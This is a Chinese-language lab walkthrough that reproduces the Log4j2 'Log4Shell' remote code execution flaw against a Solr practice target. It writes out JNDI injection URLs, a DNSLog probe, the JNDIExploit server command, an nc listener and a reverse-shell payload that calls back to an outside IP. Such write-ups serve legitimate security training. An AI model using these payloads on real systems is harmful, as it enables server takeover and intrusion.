【靶机实战】Apache Log4j2命令执行漏洞复现

在线靶场

可以通过访问极核官方靶场开启靶机实验:极核靶场 -> 漏洞复现靶场 -> Log4j2-RCE

简介

Apache Log4j2 是一个广泛使用的 Java 日志记录库,它允许开发者将日志信息输出到不同的目的地。2021年12月,一个严重的漏洞(CVE-2021-44228)被发现,这个漏洞允许攻击者通过构造特定的输入,利用 Log4j2 的 JNDI(Java Naming and Directory Interface)功能,远程执行任意代码。这意味着如果应用程序使用了受影响版本的 Log4j2,并且允许用户控制日志输入,攻击者就可以通过发送恶意的日志请求,执行服务器上的任意命令,从而获得对服务器的控制,这个漏洞被称为 “Log4Shell”。

漏洞复现

打开打开靶场首页,是Solr 8.110的系统,这个系统的版本存在Log4j2的漏洞

图片[1] - 【靶机实战】Apache Log4j2命令执行漏洞复现 - 极核GetShell

我们使用DNSLOG平台:www.dnslog.cn,点击Get SubDomain,获得一个临时域名,生成备用。

然后访问Solr靶场,访问:http://domain/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com},将example.com替换为dnslog生成的域名,例如:http://node.hackhub.get-shell.com:52003/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.j9oi8g.dnslog.cn},然后进行访问,Solr出现这样的界面。

图片[2] - 【靶机实战】Apache Log4j2命令执行漏洞复现 - 极核GetShell

查看DNSLog平台,点击Refresh Record,发现出现了访问记录,这是服务端发起了请求,说明此处存在JDNI注入

图片[3] - 【靶机实战】Apache Log4j2命令执行漏洞复现 - 极核GetShell

利用JNDI注入工具:【JNDI注入利用工具】JNDIExploit 进行注入,在一个拥有公网IP的服务器上运行此工具(建议使用JDK8),命令:java -jar JNDIExploit-1.3-SNAPSHOT.jar -i <出口IP>

图片[4] - 【靶机实战】Apache Log4j2命令执行漏洞复现 - 极核GetShell

然后再此服务器上使用NC开启监听12345端口,命令:nc -lvvp 12345

图片[5] - 【靶机实战】Apache Log4j2命令执行漏洞复现 - 极核GetShell

回到Solr靶场,利用JNDI注入工具的反弹Shell功能,访问URL:http://domian/solr/admin/cores?action=${jndi:ldap://<JNDI服务端IP>:1389/Basic/ReverseShell/<nc监听的IP>/<nc监听的端口>},例如:http://node.hackhub.get-shell.com:52003/solr/admin/cores?action=${jndi:ldap://43.129.200.87:1389/Basic/ReverseShell/43.129.200.87/12345}

图片[6] - 【靶机实战】Apache Log4j2命令执行漏洞复现 - 极核GetShell

然后查看NC监听机,发现Shell已经成功反弹过来了,这时候已经完全控制了服务端,可以随意执行命令了。

图片[7] - 【靶机实战】Apache Log4j2命令执行漏洞复现 - 极核GetShell
THE END
想说的话 1  QQ & 微信交流群: 点击查看加群方式
2  本站运营不易,以真心❤️换真心💕,如果帮助到你,可以 推荐给朋友 或者 开通金贝会员 支持一下本站!
3  请不要进行任何非授权的网络攻击,如果造成任何损失均由使用者本人负责,与本站和原作者无关!
点赞74 分享
茶谈区 共1条

请登录后发表评论